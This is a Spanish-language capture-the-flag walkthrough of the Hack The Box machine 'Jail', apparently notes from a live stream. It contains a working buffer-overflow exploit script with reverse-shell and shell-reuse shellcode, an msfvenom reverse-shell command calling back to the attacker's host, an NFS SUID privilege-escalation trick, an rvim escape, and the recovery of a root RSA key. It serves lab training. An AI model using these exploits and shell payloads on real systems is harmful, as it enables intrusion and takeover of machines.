HTB_Jail
Jail {-}
Introduccion {-}
La maquina del dia se llama Jail.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.34
ttl: 63 -> maquina Linux
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.34
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.34 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,80 10.10.10.34 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
22 | tcp | Conneccion directa | creds |
80 | http | Web, Fuzzing | |
111 | rpcbind | ||
2049 | nfs | ||
7411 | daqstream | ||
20048 | mountd |
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.34
Es un Apache 2.4.6 en un CentOS.
Checkear la web {-}
Si entramos en la url http://10.10.10.34
, Vemos la Apache2 default page.
Checkeando la cavezera con curl {-}
curl -s -X GET "http://10.10.10.34"
curl -s -X GET "http://10.10.10.34" -I
Fuzzing con WFuzz {-}
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.34/FUZZ
Vemos un directorio /jailuser
que lista un directorio dev
que contiene ficheros. Nos descargamos estos ficheros.
Analysando el puerto 7411 {-}
nc 10.10.10.34 7411
Nos pone send user command pero no llegamos a ver nada por el momento.
Analyzando el NFS {-}
Buscando por internet que es el NFS y de que manera podriamos scanear este servicio, vemos que funcciona
como recursos compartidos a nivel de red que podriamos scanear con la utilidad showmount
y que podriamos
montar en nuestro equipo.
showmount -e 10.10.10.34
Analysis de los ficheros descargados {-}
Hemos descargado 3 ficheros:
- jail
- jail.c
- compile.sh
El fichero compile.sh
nos muestra de que manera compila el fichero jail.c para crear un binario jail de 32 bits y como lanza el servicio.
Miramos que typo de fichero y de seguridad lleva el fichero jail con:
chmod +x jail
file jail
checksec jail
Aqui vemos que este fichero es de 32 bits y vemos que no tiene ninguna proteccion como DEP o PIE.
Mirando el codigo del fichero jail.c
vemos un print que nos dice send user command y que usa funcciones como strcmp()
que ya sabemos que son vulnerables.
Ahora que vemos por donde van los tiros y que esta maquina tocara un BOF, analyzamos las vulnerabilidades.
Vulnerability Assessment {-}
Buffer Overflow {-}
El codigo nos muestra que compara una String con un username admin
y una contraseña 1974jailbreak!
.
Vemos que hay una posibilidad de lanzar el binario en modo Debug.
Vemos que una de estas comparativas va con una variable userpass
que solo tiene un Buffer de 16 Bytes y
que si lanzamos el binario en modo debug, nos printa la direccion memoria de esta variable.
Tambien vemos que el binario abre el puerto 7411 y lo comprobamos con lsof
lsof -i:7411
./jail
lsof -i:7411
Analyzando vulnerabilidades con gdb {-}
Lanzamos el binario con gdb
gdb ./jail
r
Y nos connectamos por el puerto 7411
nc localhost 7411
Vemos que el gdb a creado un processo hijo de modo Detach que no seria la buena forma para tratar. Lo comprobamos colapsando el programa poniendo mas de 16 A en el password
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Aqui no vemos nada en el gdb. En estos casos tenemos que configurar una cosa para ver el flujo del processo hijo.
gdb ./jail
set detach-on-fork off
set follow-fork-mode child
r
Aqui ya estamos syncronizados con el processo hijo.
nc localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Intentamos el modo debug
nc localhost 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Debug: userpass buffer @ 0xffffd140
Vemos la direccion de la variable userpass y si repetimos la movida multiples vecez, vemos que la direccion no cambia. Ademas, ya vemos que sobre escribimos registros con A y desde aqui seguimos la guia de un BOF
-
Buscamos Ganar el control del eip
-
creamos un pattern de 150 caracteres
gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=4) aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma [+] Saved as '$_gef0'
-
lanzamos el script otra vez y pegamos los caracteres
nc localhost 7411 OK Ready. Send USER command. USER admin OK Send PASS command. PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
-
el programa peta una vez mas pero el valor del
$eip
a cambiado. Miramos el offset con el commandogef➤ pattern offset $eip [+] Searching for '$eip' [+] Found at offset 28 (little-endian search) likely
Aqui vemos que tenemos que entrar 28 caracteres antes de sobre escribir el eip.
-
Probamos con 28 A y 4 B.
python -c '28*"A"+4*"B"' AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB nc localhost 7411 OK Ready. Send USER command. USER admin OK Send PASS command. PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
-
añadimos 4 C para saber donde caen la cosas despues del eip
python -c '28*"A"+4*"B"+8*"C"' AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC nc localhost 7411 OK Ready. Send USER command. USER admin OK Send PASS command. PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCC
-
-
Miramos lo que hay en la direccion de la variable userpass
-
lo miramos en forma normal
gef➤ x/s 0xffffd140 #Output 0xffffd140: 'A' <repeats 28 times>, "BBBBCCCCCCCC"
-
lo miramos en forma hexadecimal
gef➤ x/16wx 0xffffd140 #Output 0xffffd140 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd150 0x41414141 0x41414141 0x41414141 0x42424242 0xffffd160 0x43434343 0x43434343 0x00000100 0xf7ff4070 0xffffd170 0x00000001 0xf7ffd590 0x00000000 0x414112db
-
Aqui vemos que la direccion 0xffffd140
apunta al principio del Buffer (la entrada del usuario). Esto significa
que si el eip apunta a la direccion 0xfffd140
sumada por 32 bytes (que serian las 28 A mas los 4 bytes del eip),
podriamos ejecutar el shellcode que queremos.
Para esto nos creamos un script en python
#!/usr/bin/python3
from pwn import *
context(os='linux', arch='i386')
p = remote("127.0.0.1", 7411)
# p = remote("10.10.10.34", 7411)
buf = b"\xdb\xc8\xd9\x74\x24\xf4\x5e\xbb\xc5\x90\x9f\x66\x33"
buf += b"\xc9\xb1\x12\x83\xee\xfc\x31\x5e\x13\x03\x9b\x83\x7d"
buf += b"\x93\x12\x7f\x76\xbf\x07\x3c\x2a\x2a\xa5\x4b\x2d\x1a"
buf += b"\xcf\x86\x2e\xc8\x56\xa9\x10\x22\xe8\x80\x17\x45\x80"
buf += b"\x18\xe2\xbb\x58\x75\xf0\xc3\x59\x3e\x7d\x22\xe9\x26"
buf += b"\x2e\xf4\x5a\x14\xcd\x7f\xbd\x97\x52\x2d\x55\x46\x7c"
buf += b"\xa1\xcd\xfe\xad\x6a\x6f\x96\x38\x97\x3d\x3b\xb2\xb9"
buf += b"\x71\xb0\x09\xb9"
before_eip = ("A" * 28).encode()
EIP = p32(0xffffd140+32)
after_eip = buf
p.recvuntil("OK Ready. Send USER command.")
p.sendline("USER admin")
p.recvuntil("OK Send PASS command.")
p.sendline("PASS ".encode() + before_eip + EIP + after_eip)
[ ! ] NOTAS: el shellcode a sido creado con el comando
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -b "\x00\x0a" -f python
. Los badchars aqui son los que ponemos siempre.
Ahora testeamos el script
-
Lanzamos el jail
./jail
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
Lanzamos el script en python
python3 exploit.py
En este caso no funcciona y tito nos adelanta que el problema viene que de vez en cuando, el espacio del shellcode sobrepasa el limite de caracteres que podemos injectar, o mejor dicho es demasiado grande. Esta limitacion puede ser bypasseada por una tecnica llamada reuse addr explicada en la web de rastating. La tecnica consiste en utilizar methodos send o recv del socket de coneccion para ganar espacio para el shellcode.
Si buscamos por shellcode re-use en exploit-db, podemos encontrar shellcode que crearian un /bin/bash
Modificamos el shellcode del exploit.py y ganamos accesso a la maquina victima
Vuln exploit & Gaining Access {-}
Ganando accesso con el bufferoverflow {-}
-
Lanzamos el debug mode para recuperar la direccion del buffer
nc 10.10.10.34 7411 OK Ready. Send USER command. DEBUG OK DEBUG mode on. USER admin OK Send PASS command. PASS admin Debug: userpass buffer @ 0xffffd140
-
Modificamos el script en python
#!/usr/bin/python3 from pwn import * context(os='linux', arch='i386') # p = remote("127.0.0.1", 7411) p = remote("10.10.10.34", 7411) buf = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6" buf += b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80" buf += b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6" buf += b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" buf += b"\x89\xe3\x31\xc9\xcd\x80" before_eip = ("A" * 28).encode() EIP = p32(0xffffd140+32) after_eip = buf p.recvuntil("OK Ready. Send USER command.") p.sendline("USER admin") p.recvuntil("OK Send PASS command.") p.sendline("PASS ".encode() + before_eip + EIP + after_eip) p.interactive()
-
Lanzamos el script en python
python3 exploit.py
Ya hemos ganado acceso al systema como el usuario nobody pero no podemos leer la flag y nos tenemos que convertir en el usuario frank.
User pivoting {-}
id
sudo -l
Vemos que podemos lanzar el script /opt/logreader/logreader.sh
como el usuario frank sin proporcionar contraseña.
cat /opt/logreader/logreader.sh
sudo -u frank /opt/logreader/logreader.sh
which strace
which ltrace
which checkproc
Vemos que podemos lanzar el script pero no sabemos exactamente lo que hace y no lo podemos debuggear.
Miramos a los recursos compartidos nfs de la maquina
cat /etc/exports
Nos creamos dos monturas en nuestra maquina de atacante
mkdir /mnt/{opt,var}
cd /mnt
mount -t nfs 10.10.10.34:/opt /mnt/opt
mount -t nfs 10.10.10.34:/var/nfsshare /mnt/var
ls -l
ls -l opt/
ls -l opt/logreader
ls -l opt/rh
ls -l var/
Aqui vemos que no tenemos derechos de lectura ni de escritura sobre el directorio opt y var pero algo que nos llama la atencion son los user y groups asignados a estos directorios, sobre todo el directorio var que se nos aparece como estando del grupo docker.
```{r, echo = FALSE, fig.cap=”groups nfs share folders”, out.width=”90%”} knitr::include_graphics(“images/Jail-lla.png”) hay una colision entre los dos grupos y que como usuario del grupo docker en nuestra maquina de atacante, podemos crear ficheros como el usuario franck de la maquina victima
[ ! ] NOTAS: Si no existe docker en nuestra maquina de atacante, tendriamos que ver el numero 1000 y tendriamos que crear un grupo con este id para operar
-
Creamos un fichero en C en el directorio
/mnt/var
#include <unistd.h> #include <stdio.h> int main(){ setreuid(1000, 1000); system("/bin/bash"); return 0; }
-
Compilamos el script
gcc shell.c -o shell
-
Cambiamos el grupo y ponemos derechos SUID al binario
chgrp 1000 shell chmod u+s shell
-
lanzamos el script desde la maquina victima
./shell whoami #Output frank
Ya podemos leer la flag.
[ ! ] NOTAS: como la reverse shell no es la mejor del mundo, aqui nos podriamos crear una id_rsa y copiarla en el authorized_keys del usuario Frank para conectarnos por ssh y obtener una mejor shell.## Privilege Escalation {-}
Rootear la maquina {-}
id
sudo -l
Aqui vemos que podriamos ejecutar el /usr/bin/rvim
del fichero /var/www/html/jailuser/dev/jail.c
como el usuario adm sin proporcionar contraseña.
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:!/bin/sh
#Output
No se permite orden de consola en rvim
:set shell = /bin/bash
:shell
Aqui vemos que no podemos ejecutar comandos pero lo bueno es que rvim permite ejecutar codigo en python
:py import pty;pty.spawn("/bin/bash")
whoami
#Output
adm
Aqui vemos que estamos en el directorio /var/adm
ls -la
cd .keys
ls -la
cat note.txt
Vemos un mensaje del Administrator a frank diciendole que su contraseña para encryptar cosas tiene que ser sur segundo nombre seguido de 4 digitos y un simbolo.
cd .local
ls -la
cat .frank
#Output
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
Lanzamos la web de quipqiup y copiamos el mensaje y nos lo traduce por Hahaha! Nobody will guess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!
Tambien hay un keys.rar
.
Lo codificamos en base64 y nos lo tranferimos a nuestra maquina de atacante.
base64 -w 0 keys.rar; echo
y desde la maquina de atacante no copiamos el base64 y lo decodificamos
echo "hash de base64" | base64 -d > keys.rar
unrar x keys.rar
Aqui nos pide una contraseña para unrarear el keys.rar
y buscando por internet Alcatraz Escape vemos que un Frank Morris se escapo de Alcatraz en 1962.
Vamos a tirar de la utilidad de crunch para crackear la contraseña.
crunch 11 11 -t Morris1962^ > passwords
rar2john keys.rar > hash
john --wordlist=passwords hash
Encontramos la contraseña Morris1962!
unrar x keys.rar
Password: Morris1962!
mv rootauthorizedsshkey.pub id_rsa.pub
cat id_rsa.pub
aqui vemos la key publica del usuario root, pero no podemos hacer gran cosa con la key publica. Como no parece muy grande, intentamos ver si podemos computar la llave privada des esta key.
python3
from Crypto.PublicKey import RSA
f = open ("id_rsa.pub", "r")
key = RSA.importKey(f.read())
print(key.n)
print(key.p)
print(key.q)
print(key.e)
Aqui como key.n
es demasiado grande, no a sido posible computar key.p
o key.q
que nos ubiera permitido intentar generar una private key.
Miramos si podemos hacerlo desde factordb pero es lo mismo. Pero existen webs para los ctf como RsaCtfTool que podemos usar.
git clone https://github.com/Ganapati/RsaCtfTool
cd RsaCtfTool
python3 RsaCtfTool.py --publickey id_rsa.pub --private
Esperamos un poco y podemos ver la id_rsa. Lo copiamos en un ficher id_rsa y nos conectamos por ssh.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.10.34
Ya somos root y podemos leer la flag.